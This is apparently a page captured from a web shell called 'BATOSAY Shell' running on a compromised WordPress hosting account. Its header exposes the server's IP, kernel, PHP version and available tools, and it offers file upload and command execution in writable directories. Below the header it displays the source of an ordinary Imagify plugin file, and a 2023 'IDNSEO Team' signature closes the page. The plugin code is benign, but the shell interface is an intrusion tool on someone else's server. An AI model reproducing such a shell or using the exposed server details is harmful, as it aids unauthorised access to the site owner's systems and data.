BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.38
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home1/deltahospital/www/wp-content/plugins/imagify/inc/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home1/deltahospital/www/wp-content/plugins/imagify/inc/admin/meta-boxes.php
<?php
defined( 'ABSPATH' ) || die( 'Cheatin\' uh?' );

add_action( 'attachment_submitbox_misc_actions', '_imagify_attachment_submitbox_misc_actions', IMAGIFY_INT_MAX );
/**
 * Add a "Optimize It" button or the Imagify optimization data in the attachment submit area.
 *
 * @since 1.0
 */
function _imagify_attachment_submitbox_misc_actions() {
	global $post;

	if ( ! imagify_current_user_can( 'manual-optimize', $post->ID ) ) {
		return;
	}

	$attachment = get_imagify_attachment( 'wp', $post->ID, 'attachment_submitbox_misc_actions' );

	if ( ! $attachment->is_extension_supported() ) {
		return;
	}

	if ( ! $attachment->has_required_metadata() ) {
		return;
	}

	if ( ! Imagify_Requirements::is_api_key_valid() && ! $attachment->is_optimized() ) {

		echo '<div class="misc-pub-section misc-pub-imagify"><h4>' . __( 'Imagify', 'imagify' ) . '</h4></div>';
		echo '<div class="misc-pub-section misc-pub-imagify">';
			echo __( 'Invalid API key', 'imagify' );
			echo '<br/>';
			echo '<a href="' . esc_url( get_imagify_admin_url() ) . '">' . __( 'Check your Settings', 'imagify' ) . '</a>';
		echo '</div>';

	} elseif ( $attachment->is_optimized() || $attachment->is_already_optimized() || $attachment->has_error() ) {

		echo '<div class="misc-pub-section misc-pub-imagify"><h4>' . __( 'Imagify', 'imagify' ) . '</h4></div>';
		echo get_imagify_attachment_optimization_text( $attachment );

	} elseif ( $attachment->is_running() ) {

		echo '<div class="misc-pub-section misc-pub-imagify">';
			echo '<div class="button">';
				echo '<span class="imagify-spinner"></span>';
				_e( 'Optimizing...', 'imagify' );
			echo '</div>';
		echo '</div>';

	} else {

		$url = get_imagify_admin_url( 'manual-upload', array( 'attachment_id' => $post->ID ) );
		printf( '<div class="misc-pub-section misc-pub-imagify"><a class="button-primary" href="%s">%s</a></div>', esc_url( $url ), __( 'Optimize', 'imagify' ) );
	}

	if ( $attachment->is_optimized() ) {
		echo '<input id="imagify-full-original" type="hidden" value="' . esc_url( $attachment->get_backup_url() ) . '">';
		echo '<input id="imagify-full-original-size" type="hidden" value="' . esc_attr( $attachment->get_original_size( true, 0 ) ) . '">';
	}
}

Batosay - 2023
IDNSEO Team